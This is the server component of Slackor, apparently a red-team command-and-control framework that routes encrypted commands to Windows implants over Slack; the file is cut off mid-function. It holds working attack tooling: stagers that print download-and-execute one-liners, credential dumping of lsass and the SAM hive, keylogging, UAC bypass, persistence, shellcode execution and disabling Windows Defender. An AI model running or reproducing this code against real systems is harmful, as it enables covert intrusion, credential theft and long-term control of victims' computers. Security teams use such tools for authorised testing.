github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/server.py (about) 1 import os 2 import re 3 import json 4 import time 5 import base64 6 import random 7 import string 8 import sqlite3 9 import requests 10 import threading 11 from cmd import Cmd 12 from Crypto.Cipher import AES 13 from urllib.parse import urlparse 14 from prettytable import PrettyTable 15 from prettytable import PLAIN_COLUMNS 16 try: 17 from SpookFlare.lib import sfhta, sfvba 18 except ModuleNotFoundError: 19 print("WARNING: SpookFlare not found, clone with \"--recursive\" to be able to generate all stager types.") 20 try: 21 from pypykatz import pypykatz as pypykatzfile 22 pypykatzClass = pypykatzfile.pypykatz 23 except ModuleNotFoundError: 24 print("WARNING: pypykatz not found, clone with \"--recursive\" to be able to extract credentials from .dmp files.") 25 26 27 # Global list of all agents 28 agent_list = [] 29 30 # List to hold all processed jobs 31 processed_ids = [] 32 33 # Connect to database 34 conn = sqlite3.connect('slackor.db') 35 36 # Connect to database and get keys 37 auths = conn.execute("SELECT * FROM KEYS") 38 for row in auths: 39 token = row[1] 40 bearer = row[2] 41 AES_SECRET_KEY = row[3] 42 43 # Connect to database and get channels 44 channels = conn.execute("SELECT * FROM CHANNELS") 45 for row in channels: 46 commands = row[1] 47 responses = row[2] 48 registration = row[3] 49 50 # Populate agents list from database 51 agents = conn.execute("SELECT * FROM AGENTS") 52 for row in agents: 53 agent = row[0] 54 agent_list.append(agent) 55 56 conn.close() 57 58 # Variable to hold all processed jobs 59 processed_ids = [] 60 61 # Crypto Stuff 62 # heavily adapted from https://www.golang123.com/topic/1686 63 IV = "1337133713371337" 64 BS = len(AES_SECRET_KEY) 65 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) 66 unpad = lambda s: s[0:-ord(s[-1])] 67 68 69 def color(string, color=None): # Adds colors on Linux 70 """ 71 Change text color for the Linux terminal. 72 """ 73 74 attr = [] 75 # bold 76 attr.append('1') 77 78 if color: 79 if color.lower() == "red": 80 attr.append('31') 81 elif color.lower() == "green": 82 attr.append('32') 83 elif color.lower() == "yellow": 84 attr.append('33') 85 elif color.lower() == "blue": 86 attr.append('34') 87 return '\x1b[%sm%s\x1b[0m' % (';'.join(attr), string) 88 89 90 def bad_opsec(): # This is to validate with the user that they want to accept the risk 91 response = input(color("This module is not OPSEC safe. Do you want to run it? (Y/n): ", "yellow")) 92 if response.upper()[:1] == "Y": 93 return True 94 else: 95 return False 96 97 98 def filter_nonprintable(text): # Strips out non-ascii chars from responses 99 import string 100 # Get the difference of all ASCII characters from the set of printable characters 101 nonprintable = set([chr(i) for i in range(128)]).difference(string.printable) 102 # Use translate to remove all non-printable characters 103 return text.translate({ord(character): None for character in nonprintable}) 104 105 106 def validate_url(url): # Check is a URL is valid 107 regex = re.compile( 108 r'^(?:http|ftp)s?://' # http:// or https:// 109 r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' # domain... 110 r'localhost|' # localhost... 111 r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip 112 r'(?::\d+)?' # optional port 113 r'(?:/?|[/?]\S+)$', re.IGNORECASE) 114 if re.match(regex, url) is not None: 115 return True 116 else: 117 return False 118 119 120 def make_stager(filepath): # Uploads a file to Slack and creates a one-liner to download an execute 121 unique = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(4)) 122 files = {'file': open(filepath, 'rb')} 123 data = {"filename": unique + ".txt", "token": token} 124 r = requests.post("https://slack.com/api/files.upload", params=data, files=files) 125 result = json.loads(r.text) 126 file_id = result["file"]["id"] 127 data = {"file": file_id, "token": token} 128 headers = {'content-type': 'application/x-www-form-urlencoded'} 129 r = requests.post("https://slack.com/api/files.sharedPublicURL", params=data, headers=headers) 130 result = json.loads(r.text) 131 permalink_public = result["file"]["permalink_public"] 132 r = requests.get(permalink_public) 133 look_for = 'class="file_header generic_header" href="' 134 splitText = r.text.split(look_for, 1)[1] 135 url = splitText[0:93] 136 print(color("\nOne-liner to download and execute (best)\n", "blue")) 137 PSoneliner = "powershell.exe iwr %s -o C:\\Users\\Public\\%s.png; forfiles.exe /p c:\\windows\\system32 /m svchost.exe" \ 138 " /c C:\\Users\\Public\\%s.png; timeout 2; del C:\\Users\\Public\\%s.png" % (url, unique, unique, unique) 139 print(PSoneliner) 140 with open("output/" + unique + "_ps.txt", "w") as out_file: 141 out_file.write(PSoneliner) 142 print(color("Wrote one-liner at output/" + unique + "_ps.txt", "blue")) 143 print(color("\nOne-liner (no Powershell): \n", "blue")) 144 oneliner = "echo dim http_obj:dim stream_obj:set http_obj = CreateObject(\"Microsoft.XMLHTTP\"):set stream_obj = " \ 145 "CreateObject(\"ADODB.Stream\"):http_obj.open \"GET\", \"%s\", False:http_obj.send:stream_obj.type = 1" \ 146 ":stream_obj.open:stream_obj.write http_obj.responseBody:stream_obj.savetofile \"C:\\Users\\Public\\%s.png\", " \ 147 "2 > bld.vbs && bld.vbs && timeout 3 && del bld.vbs && C:\\Users\\Public\\%s.png" % (url, unique, unique) 148 with open("output/" + unique + "_wscript.txt", "w") as out_file: 149 out_file.write(oneliner) 150 print(oneliner) 151 print(color("Wrote one-liner at output/" + unique + "_wscript.txt\n", "blue")) 152 return PSoneliner, unique 153 154 155 def registration_monitor(bearer, registration, token, timestamp): # Checks for newly registered bots 156 global agent_list 157 headers = {'Authorization': 'Bearer ' + bearer} 158 data = {"channel": registration, 159 "token": token, "oldest": timestamp} 160 r = requests.post('https://slack.com/api/channels.history', headers=headers, data=data) 161 result = json.loads(r.text) 162 try: 163 if result["error"]: # Hit rate limit 164 print(color("\n!!! Hit Slack API rate limit !!!\n " 165 "Consider killing agents, increasing beacon times, and/or sending less commands.", "yellow")) 166 return 167 except KeyError: # No error condition 168 pass 169 for bots in result["messages"]: # Iterate through each message in the channel 170 bot = bots["text"] 171 bot_info = bot.split(":") 172 client_id = (bot_info[0]) 173 hostname = (bot_info[1]) 174 user = (bot_info[2]) 175 ip = (bot_info[3]) 176 version = (bot_info[4].strip("\n")) 177 # Attempt to add agent info to database 178 if client_id not in agent_list: 179 if client_id.isupper() and len(client_id) == 5: # Check client ID is valid 180 # TODO: Check for SQL injection (fixed maybe?) 181 try: 182 conn = sqlite3.connect('slackor.db') 183 conn.execute("INSERT OR IGNORE INTO AGENTS (ID,HOSTNAME,USER,IP,VERSION) VALUES " 184 "(?,?,?,?,?)", (client_id, hostname, user, ip, version,)) 185 conn.commit() 186 conn.close() 187 agent_list.append(client_id) 188 print(color(" New agent...", "red")) 189 print(color(client_id + " " + hostname + " " + user + " " + ip + " " + version, "blue")) 190 except Exception as e: 191 print("Database error inserting new agent" + str(e)) 192 193 194 def update_agents(): # Function to check for new agents 195 while True: 196 timestamp = str(time.time() - 5)[:-1] 197 time.sleep(10) 198 try: 199 registration_monitor(bearer, registration, token, timestamp) 200 except requests.exceptions.ConnectionError: 201 print("Connection refused") 202 203 204 def send_command(bearer, command, commands, client_id): # Send a command to a client 205 type = "command" 206 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 207 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 208 headers = {'Authorization': 'Bearer ' + bearer} 209 aes_encrypt = AES_ENCRYPT() 210 command = aes_encrypt.encrypt(command) 211 data = {"channel": commands, "text": prefix + command} 212 print(color("Tasking job " + job_id + " to " + client_id + ":", "blue")) 213 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 214 215 216 def check_responses(): # Function to check for new job responses 217 while True: 218 timestamp = str(time.time() - 4)[:-1] 219 time.sleep(5) 220 try: 221 response_check(bearer, responses, token, timestamp) 222 except requests.exceptions.ConnectionError: 223 print("Connection refused ") 224 225 226 def mimikatz(filepath): 227 try: 228 mimi = pypykatzClass.parse_minidump_file(filepath) 229 results = {} 230 results[filepath] = mimi 231 for result in results: 232 print('FILE: ======== %s =======' % result) 233 if isinstance(results[result], str): 234 print(results[result]) 235 else: 236 for luid in results[result].logon_sessions: 237 print(str(results[result].logon_sessions[luid])) 238 239 if len(results[result].orphaned_creds) > 0: 240 print('== Orphaned credentials ==') 241 for cred in results[result].orphaned_creds: 242 print(str(cred)) 243 except: 244 print("Could not parse .dmp file with pypykatz, try using mimikatz.exe on Windows.") 245 246 def wipe_files(): # Retrieves all the files in workspace and then deletes them 247 headers = {'Authorization': 'Bearer ' + bearer} 248 data = {"token": token} 249 r = requests.post('https://slack.com/api/files.list', headers=headers, data=data) 250 result = json.loads(r.text) 251 for file in result["files"]: 252 print(color("Deleting " + file["name"], "blue")) 253 data = {"token": token, "file": file["id"]} 254 r = requests.post('https://slack.com/api/files.delete', headers=headers, data=data) 255 256 257 def response_check(bearer, responses, token, timestamp): 258 aes_encrypt = AES_ENCRYPT() 259 global processed_ids 260 headers = {'Authorization': 'Bearer ' + bearer} 261 data = {"channel": responses, 262 "token": token, "oldest": timestamp, } 263 # This request gets the latest messages from the channel 264 r = requests.post('https://slack.com/api/channels.history', headers=headers, data=data) 265 # Parse the response 266 try: 267 result = json.loads(r.text) 268 except json.decoder.JSONDecodeError: 269 print(r.text) 270 longJobs = {} 271 # Loop through each message since last check 272 try: 273 if result["error"]: 274 print(color("\nHit Slack API rate limit!!!\n " 275 "Consider killing agents, increasing beacon times, and sending less commands.", "yellow")) 276 return 277 except KeyError: 278 pass 279 for demand in reversed(result["messages"]): 280 text = demand["text"] 281 instructions = text.split(":") 282 type = (instructions[2]) 283 job_id = (instructions[1]) 284 cid = (instructions[0]) 285 if cid.isupper() and len(cid) == 5: # Make sure CID is valid before continuing 286 if job_id not in processed_ids: 287 if type == "download": # If type is download, download the file 288 url = base64.b64decode((instructions[3])).decode('UTF-8') 289 processed_ids.append(job_id) 290 parsed_uri = urlparse(url) 291 domain = '{uri.netloc}'.format(uri=parsed_uri) 292 if domain == "files.slack.com": # Make sure we are only downloading from Slack 293 print(color("\nDownloading Encrypted file at: " + url + "...", "blue")) 294 if url == '': 295 print(color("\nMessage from client " + cid + ":", "blue")) 296 print("File not found. Validate that the file path is correct.") 297 else: 298 if '/' in url: 299 filename = (url.rsplit('/', 1)[1]) 300 else: 301 filename = url 302 # Here we take the Slack URL from the response and download it 303 header = {'Authorization': 'Bearer ' + token} 304 payload = requests.get(url, headers=header) 305 # Todo: Check for path traversal; Slack URLs already cover this but good to double check 306 open("loot/" + filename, 'wb').write(aes_encrypt.decryptFile(payload.content)) 307 print(color("Downloaded " + filename + " from " + cid, "blue")) 308 # Post download options 309 if filename.startswith("security_"): # If it's the last registry hive,run secretsdump.py 310 command = "secretsdump.py LOCAL -sam loot/sam_{} -system loot/sys_{} " \ 311 "-security loot/security_{}".format(cid.lower(), cid.lower(), cid.lower()) 312 if os.path.isdir("impacket"): 313 os.system(command) # Todo: Migrate to call the python functions from impacket 314 else: 315 print("Impacket not found, clone with \"--recursive\" " 316 "to be able to automatically dump hashes") 317 try: 318 if filename.split(".",1)[1] == "dmp": # If minidump, try to run pypykatz on it 319 mimikatz("loot/" + filename) 320 except IndexError: 321 pass 322 323 elif type == "output": # If type is "output" print the result of the command 324 text = aes_encrypt.decrypt(instructions[3]).decode('UTF-8') 325 processed_ids.append(job_id) 326 print( 327 color("\nMessage from client " + cid + " for job " + job_id + ":\n", "blue") + filter_nonprintable( 328 text)) 329 330 # Todo: Fix this to accept multiple cont messages from different agents 331 elif type == "cont": # If type is cont, it is a multi-message response. build up the response string. 332 text = instructions[3] 333 try: 334 if longJobs[job_id]: 335 # The key exists, append the message 336 longJobs[job_id] += text 337 except KeyError: 338 # First message from a longJob, initialize the key 339 longJobs[job_id] = text 340 341 if longJobs != "": # If there are any longJobs, loop through them 342 for key in longJobs: 343 processed_ids.append(key) 344 print(color("\nMessage response for job " + key + ":\n", "blue")) 345 try: 346 text = aes_encrypt.decrypt(longJobs[key]).decode('UTF-8') 347 print(filter_nonprintable(text)) 348 except UnicodeDecodeError: 349 print("Response contains non-unicode characters. Could not print to terminal.") 350 351 352 def kill(bearer, commands, client_id): # Function to send a kill command to an agent 353 type = "kill" 354 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 355 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 356 headers = {'Authorization': 'Bearer ' + bearer} 357 data = {"channel": commands, "text": prefix} 358 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 359 360 361 def upload(bearer, commands, client_id, file_url): # Function to upload a file on the target 362 type = "upload" 363 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 364 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 365 headers = {'Authorization': 'Bearer ' + bearer} 366 aes_encrypt = AES_ENCRYPT() 367 file = aes_encrypt.encrypt(file_url) 368 data = {"channel": commands, "text": prefix + file} 369 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 370 371 def minidump(bearer, commands, client_id): # dumps lsass on target 372 type = "minidump" 373 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 374 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 375 headers = {'Authorization': 'Bearer ' + bearer} 376 aes_encrypt = AES_ENCRYPT() 377 data = {"channel": commands, "text": prefix} 378 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 379 380 381 def upload_file(filepath): # This function uploads a file given a local(server) file-path 382 if '\\' in filepath: 383 filename = (filepath.rsplit('\\', 1)[1]) 384 elif '/' in filepath: 385 filename = (filepath.rsplit('/', 1)[1]) 386 else: 387 filename = filepath 388 try: 389 filepath = filepath.strip('\'').strip('\"') # Strip quotes 390 files = {'file': open(filepath, 'rb')} 391 data = {"filename": filename, "token": token} 392 r = requests.post("https://slack.com/api/files.upload", params=data, files=files) 393 result = json.loads(r.text) 394 # Slack URL of the uploaded file 395 return result["file"]["url_private_download"] 396 except FileNotFoundError: 397 print(color("File not Found", "yellow")) 398 return False 399 except OSError: 400 print(color("File not Found", "yellow")) 401 return False 402 403 404 def sleep(bearer, commands, client_id, sleeptime): # Function to send a sleep command to an agent 405 type = "sleep" 406 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 407 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 408 headers = {'Authorization': 'Bearer ' + bearer} 409 aes_encrypt = AES_ENCRYPT() 410 sleeptime = aes_encrypt.encrypt(sleeptime) 411 data = {"channel": commands, "text": prefix + sleeptime} 412 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 413 414 415 def persist(bearer, commands, client_id, mode): # Function to add persistence 416 type = "persist" 417 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 418 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 419 headers = {'Authorization': 'Bearer ' + bearer} 420 aes_encrypt = AES_ENCRYPT() 421 mode = aes_encrypt.encrypt(mode) 422 data = {"channel": commands, "text": prefix + mode} 423 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 424 425 def cleanup(bearer, commands, client_id, mode): # Function to remove persistence 426 type = "clean" 427 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 428 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 429 headers = {'Authorization': 'Bearer ' + bearer} 430 aes_encrypt = AES_ENCRYPT() 431 mode = aes_encrypt.encrypt(mode) 432 data = {"channel": commands, "text": prefix + mode} 433 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 434 435 436 def bypassuac(bearer, commands, client_id, mode): # Function to bypass UAC 437 type = "elevate" 438 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 439 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 440 headers = {'Authorization': 'Bearer ' + bearer} 441 aes_encrypt = AES_ENCRYPT() 442 mode = aes_encrypt.encrypt(mode) 443 data = {"channel": commands, "text": prefix + mode} 444 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 445 446 447 def screenshot(bearer, commands, client_id): # Function to screenshot 448 type = "screenshot" 449 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 450 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 451 headers = {'Authorization': 'Bearer ' + bearer} 452 data = {"channel": commands, "text": prefix} 453 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 454 455 def samdump(bearer, commands, client_id): # Function to dump SAM and SYSTEM files 456 type = "samdump" 457 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 458 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 459 headers = {'Authorization': 'Bearer ' + bearer} 460 data = {"channel": commands, "text": prefix} 461 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 462 463 def revive(bearer, commands): # Function to have agents re-register in case some became orphaned 464 type = "revive" 465 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 466 prefix = bytes("31337" + ":" + job_id + ":" + type + ":", 'utf-8') 467 headers = {'Authorization': 'Bearer ' + bearer} 468 data = {"channel": commands, "text": prefix} 469 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 470 471 472 def sysinfo(bearer, commands, client_id): # Function gather system info 473 type = "sysinfo" 474 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 475 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 476 headers = {'Authorization': 'Bearer ' + bearer} 477 data = {"channel": commands, "text": prefix} 478 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 479 480 481 def duplicate(bearer, commands, client_id): # spawns another agent 482 type = "duplicate" 483 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 484 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 485 headers = {'Authorization': 'Bearer ' + bearer} 486 data = {"channel": commands, "text": prefix} 487 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 488 489 def clipboard(bearer, commands, client_id): # spawns another agent 490 type = "clipboard" 491 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 492 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 493 headers = {'Authorization': 'Bearer ' + bearer} 494 data = {"channel": commands, "text": prefix} 495 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 496 497 def getsystem(bearer, commands, client_id): # gets SYSTEM privs 498 type = "getsystem" 499 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 500 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 501 headers = {'Authorization': 'Bearer ' + bearer} 502 data = {"channel": commands, "text": prefix} 503 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 504 505 506 def defanger(bearer, commands, client_id, mode): # Function to de-fang Windows Defender 507 type = "defanger" 508 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 509 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 510 headers = {'Authorization': 'Bearer ' + bearer} 511 aes_encrypt = AES_ENCRYPT() 512 mode = aes_encrypt.encrypt(mode) 513 data = {"channel": commands, "text": prefix + mode} 514 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 515 516 def keyscan(bearer, commands, client_id, mode): # Function to manage keylogger 517 type = "keyscan" 518 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 519 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 520 headers = {'Authorization': 'Bearer ' + bearer} 521 aes_encrypt = AES_ENCRYPT() 522 mode = aes_encrypt.encrypt(mode) 523 data = {"channel": commands, "text": prefix + mode} 524 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 525 ''' 526 def metasploit(bearer, commands, client_id, url): # Function execute Meterpreter on target 527 type = "metasploit" 528 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 529 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 530 headers = {'Authorization': 'Bearer ' + bearer} 531 aes_encrypt = AES_ENCRYPT() 532 url = aes_encrypt.encrypt(url) 533 data = {"channel": commands, "text": prefix + url} 534 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 535 ''' 536 def shellcode(bearer, commands, client_id, filepath): # Function execute shellcode on target 537 type = "shellcode" 538 if '\\' in filepath: 539 filename = (filepath.rsplit('\\', 1)[1]) 540 elif '/' in filepath: 541 filename = (filepath.rsplit('/', 1)[1]) 542 else: 543 filename = filepath 544 try: 545 filepath = filepath.strip('\'').strip('\"') # Strip quotes 546 files = {'file': open(filepath, 'rb')} 547 data = {"filename": "shellcode.txt", "token": token} 548 r = requests.post("https://slack.com/api/files.upload", params=data, files=files) 549 result = json.loads(r.text) 550 # Slack URL of the uploaded file 551 url = result["file"]["url_private_download"] 552 except FileNotFoundError: 553 print(color("File not Found", "yellow")) 554 return False 555 except OSError: 556 print(color("File not Found", "yellow")) 557 return False 558 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 559 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 560 headers = {'Authorization': 'Bearer ' + bearer} 561 aes_encrypt = AES_ENCRYPT() 562 print (url) 563 url = aes_encrypt.encrypt(url) 564 data = {"channel": commands, "text": prefix + url} 565 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 566 567 def beacon(bearer, commands, client_id, beacon): # Function to change beacon time 568 type = "beacon" 569 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 570 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 571 headers = {'Authorization': 'Bearer ' + bearer} 572 aes_encrypt = AES_ENCRYPT() 573 beacon = aes_encrypt.encrypt(beacon) 574 data = {"channel": commands, "text": prefix + beacon} 575 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 576 577 578 def download(bearer, commands, client_id, filepath): # Function to retrieve a file from the agent 579 type = "download" 580 job_id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8)) 581 prefix = bytes(client_id + ":" + job_id + ":" + type + ":", 'utf-8') 582 headers = {'Authorization': 'Bearer ' + bearer} 583 filepath = filepath.strip('\'').strip('\"') 584 aes_encrypt = AES_ENCRYPT() 585 filepath = aes_encrypt.encrypt(filepath) 586 data = {"channel": commands, "text": prefix + filepath} 587 r = requests.post('https://slack.com/api/chat.postMessage', headers=headers, data=data) 588 589 590 class AES_ENCRYPT(object): # heavily adapted from https://www.golang123.com/topic/1686 591 def __init__(self): 592 self.key = AES_SECRET_KEY 593 self.mode = AES.MODE_CBC 594 595 def encrypt(self, text): 596 cryptor = AES.new(self.key, self.mode, IV) 597 self.ciphertext = cryptor.encrypt(pad(text)) 598 return base64.b64encode(self.ciphertext) 599 600 def decrypt(self, text): 601 decode = base64.b64decode(text) 602 cryptor = AES.new(self.key, self.mode, IV) 603 plain_text = cryptor.decrypt(decode) 604 return plain_text 605 606 def decryptFile(self, text): 607 cryptor = AES.new(self.key, self.mode, IV) 608 plain_text = cryptor.decrypt(text) 609 return plain_text 610 611 612 class AgentCmd(Cmd): # Class for all the modules when interacting with an agent 613 614 def emptyline(self): 615 pass 616 617 def do_sleep(self, args): 618 """SLEEP - Causes the agent to sleep once. Time must be in seconds. 619 Example: sleep 5""" 620 try: 621 # Test if value is an integer, bail if not 622 sleep_test = int(args) 623 sleep(bearer, commands, self.target, args) 624 print(color("Tasking " + self.target + " to sleep for " + args + " seconds...", "blue")) 625 except ValueError: 626 print(color("Sleep value must be an integer. (Number of seconds)", "yellow")) 627 628 def do_persist(self, args): 629 """PERSIST - Establishes persistence on the target 630 Example: persist registry""" 631 if (args == "scheduler") or (args == "registry"): 632 print(color("RISK: Writes to disk, executes cmd.exe", "yellow")) 633 if bad_opsec(): 634 persist(bearer, commands, self.target, args) 635 print(color("Establishing persistence on " + self.target, "blue")) 636 elif args == "wmi": 637 conn = sqlite3.connect('slackor.db') 638 cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'") 639 user = cursor.fetchone() 640 if user[0].endswith('*'): 641 print(color("RISK: Writes to disk, executes cmd.exe", "yellow")) 642 if bad_opsec(): 643 persist(bearer, commands, self.target, args) 644 print(color("Establishing persistence on " + self.target, "blue")) 645 else: 646 print(color("Please supply an additional argument [scheduler|registry|wmi]", "blue")) 647 648 def do_cleanup(self, args): 649 """CLEANUP - Removes artifacts on disk 650 Example: cleanup registry""" 651 if (args == "scheduler") or (args == "registry"): 652 print(color("RISK: Executes cmd.exe", "yellow")) 653 if bad_opsec(): 654 cleanup(bearer, commands, self.target, args) 655 print(color("Removing persistence on " + self.target, "blue")) 656 else: 657 print(color("You need to specify a persistence method" "Yellow")) 658 elif (args == "realtime") or (args == "exclusion") or (args == "signature"): 659 print(color("RISK: Executes powershell.exe", "yellow")) 660 if bad_opsec(): 661 cleanup(bearer, commands, self.target, args) 662 print(color("Restoring AV on " + self.target, "blue")) 663 664 elif args == "wmi": 665 print(color("RISK: Executes powershell.exe", "yellow")) 666 if bad_opsec(): 667 cleanup(bearer, commands, self.target, args) 668 print(color("Removing persistence on " + self.target, "blue")) 669 else: 670 print(color("Please supply an additional argument " 671 "[scheduler|registry|realtime|exclusion|signature]", "blue")) 672 673 def complete_persist(self, text, line, start_index, end_index): 674 modes = ["registry", "scheduler", "wmi"] 675 if text: 676 return [ 677 mode for mode in modes 678 if mode.startswith(text.lower()) 679 ] 680 else: 681 return modes 682 683 def complete_cleanup(self, text, line, start_index, end_index): 684 modes = ["registry", "scheduler", "exclusion", "realtime", "signature", "wmi"] 685 if text: 686 return [ 687 mode for mode in modes 688 if mode.startswith(text.lower()) 689 ] 690 else: 691 return modes 692 693 def complete_keyscan(self, text, line, start_index, end_index): 694 modes = ["stop", "start", "dump"] 695 if text: 696 return [ 697 mode for mode in modes 698 if mode.startswith(text.lower()) 699 ] 700 else: 701 return modes 702 703 def complete_defanger(self, text, line, start_index, end_index): 704 modes = ["realtime", "exclusion", "signature"] 705 if text: 706 return [ 707 mode for mode in modes 708 if mode.startswith(text.lower()) 709 ] 710 else: 711 return modes 712 713 def complete_bypassuac(self, text, line, start_index, end_index): 714 modes = ["fodhelper", "ask"] 715 if text: 716 return [ 717 mode for mode in modes 718 if mode.startswith(text.lower()) 719 ] 720 else: 721 return modes 722 723 def do_bypassuac(self, args): 724 """BYPASSUAC - Attempts to spawn a new agent with high integrity.""" 725 if args == "fodhelper": 726 print(color("RISK: Writes to disk, executes cmd.exe", "yellow")) 727 if bad_opsec(): 728 bypassuac(bearer, commands, self.target, args) 729 print(color("Elevating " + self.target, "blue")) 730 731 elif args == "ask": 732 print(color("RISK: Writes to disk and pops up a UAC alert!", "yellow")) 733 if bad_opsec(): 734 bypassuac(bearer, commands, self.target, args) 735 print(color("Requesting elevation from user on " + self.target, "blue")) 736 else: 737 print(color("Please supply an additional argument [fodhelper|ask]", "blue")) 738 739 def do_screenshot(self, args): 740 """SCREENSHOT - Screenshots the current desktop and downloads files""" 741 print(color("RISK: Writes to disk", "yellow")) 742 if bad_opsec(): 743 screenshot(bearer, commands, self.target) 744 print(color("screenshotting " + self.target, "blue")) 745 746 def do_samdump(self, args): 747 """SAMDUMP - Attempts to dump the SAM, SYSTEM and SECURITY files for offline hash extraction""" 748 conn = sqlite3.connect('slackor.db') 749 cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'") 750 user = cursor.fetchone() 751 if user[0].endswith('*'): 752 print(color("RISK: Writes to disk", "yellow")) 753 if bad_opsec(): 754 samdump(bearer, commands, self.target) 755 print(color("Getting SYSTEM, SAM and SECURITY files for " + self.target + "....", "blue")) 756 else: 757 print(color("Agent not running as high integrity", "yellow")) 758 759 def do_sysinfo(self, args): 760 """SYSINFO - Displays the current user, OS version, system architecture, and number of CPU cores""" 761 sysinfo(bearer, commands, self.target) 762 print(color("Gathering System Information for " + self.target, "blue")) 763 764 def do_clipboard(self, args): 765 """CLIPBOARD - Retrieves the content of the clipboard""" 766 clipboard(bearer, commands, self.target) 767 print(color("Retrieving the clipboard for " + self.target, "blue")) 768 769 def do_duplicate(self, args): 770 """DUPLICATE - Causes the agent to spawn another invocation of itself""" 771 duplicate(bearer, commands, self.target) 772 print(color("Duplicating " + self.target, "blue")) 773 774 def do_keyscan(self, args): 775 """keyscan - Starts a keylogger on the system""" 776 keyscan(bearer, commands, self.target, args) 777 if args == "start": 778 print(color("Starting keylogger on " + self.target, "blue")) 779 elif args == "stop": 780 print(color("Stopping keylogger on " + self.target, "blue")) 781 elif args == "dump": 782 print(color("Dumping keylogger output for " + self.target, "blue")) 783 else: 784 print(color("Please supply an additional argument [start|stop|dump]", "blue")) 785 786 def do_getsystem(self, args): 787 """GETSYSTEM - Attempts to spawn an agent with SYSTEM privileges""" 788 conn = sqlite3.connect('slackor.db') 789 cursor = conn.execute("SELECT user from AGENTS where id='" + self.target + "'") 790 user = cursor.fetchone() 791 if user[0].endswith('*'): 792 print(color("RISK: Writes to disk and executed a scheduled task", "yellow")) 793 if bad_opsec(): 794 getsystem(bearer, commands, self.target) 795 print(color("Getting SYSTEM on " + self.target, "blue")) 796 else: 797 print(color("Agent not running as high integrity", "yellow")) 798 799 def do_defanger(self, args): 800 """DEFANGER - Attempts to de-fang Windows Defender 801 Example: defanger realtime""" 802 conn = sqlite3.connect('slackor.db') 803 